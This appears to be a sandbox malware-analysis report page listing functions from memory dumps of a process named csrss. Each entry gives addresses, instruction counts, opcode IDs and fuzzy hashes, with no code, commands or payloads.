Opcode Fuzzy Hash: 9f255bb7ff81ef859012a2e16625885e6b73b8ea8db80a3762f9a719796b4303
Instruction Fuzzy Hash: EC012B21A8F6D51FFB2957B44C729A13FA1DF8721070A02FAD089CB5E3C84E59868351

Function 00007FFD9B894254 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8329315cd13830823c917ba29b35b97d3d57dd9a1e8586b6048b18e528f53ff4
Instruction ID: b05fd3551d03e42c4464c0e0b4d5c521795267fbef291bfad93198aa8750ffaa
Opcode Fuzzy Hash: 8329315cd13830823c917ba29b35b97d3d57dd9a1e8586b6048b18e528f53ff4
Instruction Fuzzy Hash: B2119A31A0951D8FDFB4DB98C464BA977E1FB59311F1501A9C40EE72A0CB74AE80CF81

Function 00007FFD9B890C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c29255a44cb566b28e77848c34171801df992807625fc69dcba1f87b60d44497
Instruction ID: cfc01042c5e825a8974f47352079b9fe840791a3d94d0a7871e84227190a7fb6
Opcode Fuzzy Hash: c29255a44cb566b28e77848c34171801df992807625fc69dcba1f87b60d44497
Instruction Fuzzy Hash: 0E11C232F1E68D8FEB22DBA8886519C7FB0EF56714F0640F7C094DB2A2D93827458780

Function 00007FFD9B8C87B8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0154576949758459ac5e3a41f7a468cac20ac60716ae167bdf9128536c496bde
Instruction ID: a31c63c9415064163268e22572bab9bafb4dccbd78137578a59e5cef12e68398
Opcode Fuzzy Hash: 0154576949758459ac5e3a41f7a468cac20ac60716ae167bdf9128536c496bde
Instruction Fuzzy Hash: 5201FC66A0E5654AE316B76DF8BA8F53790EF8622874D00F7C149CB0A3FC08584A8245

Function 00007FFD9B890C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cd2cb45f8edcf4dc1bf985153ed48531ddaac0f26ee807a7ebf7cfd74fd4066
Instruction ID: d7b2304078ea3e59bc6dae2757138916a7c642c771ecd2a7048b534ab400cd66
Opcode Fuzzy Hash: 5cd2cb45f8edcf4dc1bf985153ed48531ddaac0f26ee807a7ebf7cfd74fd4066
Instruction Fuzzy Hash: 4C11A132F1E68D8FEB12DBA8886419C7FB0EF56714F0640F7D094DB2A2D93826458780

Function 00007FFD9B894299 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f12f029567e375f11f267ce419a4308c90c40f55aa8b92d8465899589c44a6fc
Instruction ID: a11a8aa8784c7a1990b93057440fdc15fe9f638e3137197ff9ca9eea632a45ff
Opcode Fuzzy Hash: f12f029567e375f11f267ce419a4308c90c40f55aa8b92d8465899589c44a6fc
Instruction Fuzzy Hash: 3C11EC30A0891D8FDF64DF44C4A0BA9B7E2FB59301F5505A9D00ED7290CA74AE80CF81

Function 00007FFD9B8CDE69 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0fdcffdf465bdd935aaa27bf6b0deddc542dc738d61b78b349cd6476b3754f
Instruction ID: 490d174981727f71fcc9065de06a51c40d4a54d29f7ff031d64520cbe389a61d
Opcode Fuzzy Hash: 5e0fdcffdf465bdd935aaa27bf6b0deddc542dc738d61b78b349cd6476b3754f
Instruction Fuzzy Hash: AB012C71F0551A4BEBA4F79898643FD77E1EFA8301F010477E10DD7291DB29AE818750

Function 00007FFD9B890C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec2c473823562d23cef763009eb2263cc5c6543ddd82d1eed50bde3b075fb0c
Instruction ID: 5da780a43f6598000b4176181b10e83fbfb731f1550e8135baa170c3143a0476
Opcode Fuzzy Hash: aec2c473823562d23cef763009eb2263cc5c6543ddd82d1eed50bde3b075fb0c
Instruction Fuzzy Hash: 8D018031E1E28DCFEB16DBA4886409C7FB0EF56714F1641F7D094DB2A2D9386A458780

Function 00007FFD9B8BE975 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8b3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 193c5b901bebaab6037f8b8d1386ba029ea76b60fcde73c0dab0088b3e82dfe6
Instruction ID: 8f9621f856960ce1f7e2228cce94d3e0ed1f742b97fa8dc47cc4faaabbe23c27
Opcode Fuzzy Hash: 193c5b901bebaab6037f8b8d1386ba029ea76b60fcde73c0dab0088b3e82dfe6
Instruction Fuzzy Hash: 1CF0A712A0FADD1FD7E6837D68611506BE1EBA916074A02E7D088C7597D80858564392

Function 00007FFD9B8B6905 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8b3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2edda5626f35ade09b4e98b9a71ab3f30bc25860acd718fc334f4a5b5d7e52cd
Instruction ID: fba5e9afb188246a02277e889b6fcf61f2762450a2bb672d3afcb91888e2dbb3
Opcode Fuzzy Hash: 2edda5626f35ade09b4e98b9a71ab3f30bc25860acd718fc334f4a5b5d7e52cd
Instruction Fuzzy Hash: 0CF0BB71A0FA9A1FE32697794870568BBA0EF55710F090277C059C72E3ED5CEB4683C5

Function 00007FFD9B890C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57adc786d10381386ed90839c48a28bf2bb190245ea6eb1f9dda843a3bb2b0ce
Instruction ID: d84e6e82d1490869b9857fd50e91ff37b80a278d3db282a0a6479b4f5da4a2c1
Opcode Fuzzy Hash: 57adc786d10381386ed90839c48a28bf2bb190245ea6eb1f9dda843a3bb2b0ce
Instruction Fuzzy Hash: 49015A31E1E28DCEEB26DBA4886409D7FB0EF1A704F1641E7D094CB2A6D9386A448781

Function 00007FFD9B8BD369 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8b3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd9054242521eb15ef6614f25359e7cb5a8dd52e3dc5994879f13f5b0572ecaf
Instruction ID: cad85abf78e273cb31b3341801917a7afb0c176429d067397a85c808069ee70b
Opcode Fuzzy Hash: bd9054242521eb15ef6614f25359e7cb5a8dd52e3dc5994879f13f5b0572ecaf
Instruction Fuzzy Hash: 43F0A06190F7C41FD3125B3888654107FB0EA2710530B02EBC0CACB4B3D50A488B8301

Function 00007FFD9B8A45CF Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65449f319cc7f433e295806ffca04fceafef5126ce063cbbfbb96c516a2c19ed
Instruction ID: 7933dd5c942e8956dd3a442183fb949851e13e7d3142453775f65585540c3696
Opcode Fuzzy Hash: 65449f319cc7f433e295806ffca04fceafef5126ce063cbbfbb96c516a2c19ed
Instruction Fuzzy Hash: E0F03C70F0490F8AEB68EB84C865ABE77A1FB54310F140639C519D32A9EF74AA418790

Function 00007FFD9B8CAAD9 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e8a3aa47256be1edd2ad71cc735c5c784474c460595adfb5111538dd5449b5f
Instruction ID: 8036f945e4205eb0efbdfc27c4d1dcaf96c232eef129d79637d5a4ef7c0c94e8
Opcode Fuzzy Hash: 5e8a3aa47256be1edd2ad71cc735c5c784474c460595adfb5111538dd5449b5f
Instruction Fuzzy Hash: 08E09220709B884FC70DA66848684207BB1EFAA21238A42DBC005CB2A3ED19DC84C741

Function 00007FFD9B890B87 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834a1dfa0f388783112b633103ef701c3d59fe160c669daa9bba5450e65e5ea0
Instruction ID: b39af2ce5e765fc5b5000cb6c072cb2453626f388ac6ea90e7e433a26d719fa9
Opcode Fuzzy Hash: 834a1dfa0f388783112b633103ef701c3d59fe160c669daa9bba5450e65e5ea0
Instruction Fuzzy Hash: 10E07D3131955D8FCA01EB7CDC154A53F90EF8B21578B10F6D008C7462C110584E8B00

Function 00007FFD9B8910C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 082845aa1aeec39b28a80a60a637ba7b773f9212af3b834f01ed1db0553254b1
Instruction ID: 0bdb97f14ebdb56bf1e135a81916de8a579b10f51a1572034e037bb938a62e46
Opcode Fuzzy Hash: 082845aa1aeec39b28a80a60a637ba7b773f9212af3b834f01ed1db0553254b1
Instruction Fuzzy Hash: 6BE02621F4C84906FB6CB6746CB25B07280DB86320B0505B9D01AC66DADC0D5C824281

Function 00007FFD9B8A4BBA Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction ID: 364053b9a7e378c8a80a80afd747c0fd6b0b52421209c7e09014cccddcb592db
Opcode Fuzzy Hash: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction Fuzzy Hash: 9DE09B317195598FEF18DB4CD8506B93351EB89311F114569D445C35EBDE38AA4686C0

Function 00007FFD9B8CB0A9 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 383418a40ed1ef3c983491b5404a89283f39ad997c4ecd4bb3408ac180ba680c
Instruction ID: 6fe39cc9d71583f7e62ad85d1463040cdde17570d94712fc6acb49308780efd8
Opcode Fuzzy Hash: 383418a40ed1ef3c983491b5404a89283f39ad997c4ecd4bb3408ac180ba680c
Instruction Fuzzy Hash: 38E04F2161A7C44FC74AA7288C699503BB1EE6B21178A41DBC045CB6B3EA1DC849C741

Function 00007FFD9B8B6920 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8b3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction ID: c7f59ca0b03e09a80785af33bd99c0c892f344578c6dc177d14bd1f3512cf83c
Opcode Fuzzy Hash: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction Fuzzy Hash: 2BE0CD3171A80E47E728F3388C646BD7251D799711F454235D01DC32E5ED28EA4143C4

Function 00007FFD9B8CAB80 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8CAAF0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B894E94 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction ID: 9e3dc37430dbea83bf9735cad4decf7516bfd690b65a5bca3fc50122377b3c09
Opcode Fuzzy Hash: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction Fuzzy Hash: 45E0E571F0E21E57FFA5A388C860BEA6661EB9C300F1500B8D95E933D1CD38AE418B55

Function 00007FFD9B8B97E9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8b3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2717eb5932749c2a0f7fac8dee7986df6cda9e64e9a1d00c33da05cf2bbe5be
Instruction ID: f12fbc729e0a786d4033e8a88625c482b16e407e83cc18fe923db0efec5851ca
Opcode Fuzzy Hash: f2717eb5932749c2a0f7fac8dee7986df6cda9e64e9a1d00c33da05cf2bbe5be
Instruction Fuzzy Hash: B7E0E57054A3C04FCB06EB7488A9C543FA0EE6721078B41EEC089CB1B3D62D8949C711

Function 00007FFD9B8A3F30 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FFD9B8C7F49 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe89738aba349fefa7368f75e4a3b53c94ae1834f1e92dae32924de235620b8d
Instruction ID: 28bcca12952c151ad2f9c155f6563c42bfc93c5306270ea3b24c94790f5088c8
Opcode Fuzzy Hash: fe89738aba349fefa7368f75e4a3b53c94ae1834f1e92dae32924de235620b8d
Instruction Fuzzy Hash: 22E01A6594F7C04FC74B9B3488B88507FA0DE1721074A40EBC085CF2B3D5198949C712

Function 00007FFD9B8CD279 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 621aa04d6b03a400e17433f790a3e6e026ae99c8984bd1887effcb594c911659
Instruction ID: 753ac86dccd8c2d1c6a0b833cc2b1473b63ac39370c445ae9147ce9b6d337c0f
Opcode Fuzzy Hash: 621aa04d6b03a400e17433f790a3e6e026ae99c8984bd1887effcb594c911659
Instruction Fuzzy Hash: 59E0123154A7C44FC34A97649C799943FB0EE6B21178B01D7C045CF9B3EA1D8D88C752

Function 00007FFD9B8C95C9 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef13adcfb87f64e592c535363c0d2798395a7f7d0c7ffdc9ff5c84477a2386e0
Instruction ID: 163bf6fab5a81ed812f32ce3232fa1cb39ec0038eb8098693f7e332f7bf58006
Opcode Fuzzy Hash: ef13adcfb87f64e592c535363c0d2798395a7f7d0c7ffdc9ff5c84477a2386e0
Instruction Fuzzy Hash: 16E0EC2150A6C44FC70A9B6488699543FB0EE6B21178B01D7C045CB5B3EA1DCA48C742

Function 00007FFD9B8C2290 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9B8C7458 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction ID: ca72362a4d48ffe59a8c30462d56a3247b0c3dfa35eecb07bbd5aa8b2f5919c2
Opcode Fuzzy Hash: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction Fuzzy Hash: 66D01234BA19084FC71CBB388899C747391EB6E21679550A9D00AC73B5D96ADD89C741

Function 00007FFD9B896215 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 077c63fbbe6f461875eae253eee6ebeef1a59a41382a392d3e060a6c57e4df4b
Instruction ID: c8c289dc6e02497d2743130890be16fa94a1b357f8e938f25a9f98adc88f48e0
Opcode Fuzzy Hash: 077c63fbbe6f461875eae253eee6ebeef1a59a41382a392d3e060a6c57e4df4b
Instruction Fuzzy Hash: F5D05E10F1E86A1AF72BA754483193C2D929F8A394F9508B5D44ACB1EBCC0C3B024382

Function 00007FFD9B895B53 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction ID: e5d0312d6633e039846a4669c730db2c0a2f3ac8638050b5c08b27fdcd1107be
Opcode Fuzzy Hash: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction Fuzzy Hash: 88D06720F2A51D5FEBA4E76888693B866A1BF4C700F5141B5904DF36A2DD286E418B01

Function 00007FFD9B8C8808 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475b730dd1053a7c01b95d4681299a8929e8dd4f567767fe40fb86e8d7148227
Instruction ID: 86d18b370266af48669abafcfcdd01c334d23510af1ddf13e7d428ad71a5a485
Opcode Fuzzy Hash: 475b730dd1053a7c01b95d4681299a8929e8dd4f567767fe40fb86e8d7148227
Instruction Fuzzy Hash: C2C0123051180C4F8708E725C45C8607290FB1921178100D5900AC6170E9559D84C741

Function 00007FFD9B8906A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction ID: 54bcb275cae05ce4cefc1e6d452f27e05448fe6a51c1c735cce1f41f21f1f119
Opcode Fuzzy Hash: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction Fuzzy Hash: CAC04C06F7B62F01FC3673EE98660ACA9415FDDE10FD70172D54C400E1AD4D22D50256

Function 00007FFD9B890708 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8148a032bbe67190fb16b1de09c27c6ddf69f8f38fb73b98a6aa04bdf6b206
Instruction ID: c8119e59c80e2cf69048ef017b9f8f3610481a1f07a0a45b3b9af5fb43db9e63
Opcode Fuzzy Hash: 7d8148a032bbe67190fb16b1de09c27c6ddf69f8f38fb73b98a6aa04bdf6b206
Instruction Fuzzy Hash: 59C04C305218098FC954E769C8999547AA0FB4D205BD610D0E40DC7161E65AD9548B41

Function 00007FFD9B8961DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47f1789c0805c4c00354c2c7514f9d0bf8cea5bcdf0da2aacbed44527eea3d54
Instruction ID: 9da29dd05124b7aa5ce00fc79aa15ebfb65d3ec2214d5c004b378d57d77a99f8
Opcode Fuzzy Hash: 47f1789c0805c4c00354c2c7514f9d0bf8cea5bcdf0da2aacbed44527eea3d54
Instruction Fuzzy Hash: 2FC04C11F2DC1A16F75A6614493157E48539F88798FD54074E01EC72CECD1C5B020287

Function 00007FFD9B8906C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: 20a0e8ea38b26b097e4b4dc69544e07252542b887743d3d39ef6fcd244df8182
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: B6B01200D7741F00EC2433FB085206478405B8C500FC20070D80C40091E84D12940342

Non-executed Functions

Function 00007FFD9B8A05A5 Relevance: 11.6, Strings: 9, Instructions: 362COMMON

Download Yara Rule

Strings

M_^;, xrefs: 00007FFD9B8A077A
M_^1, xrefs: 00007FFD9B8A072A
]+=, xrefs: 00007FFD9B8A078E
+<M, xrefs: 00007FFD9B8A088F
M_^9, xrefs: 00007FFD9B8A076A
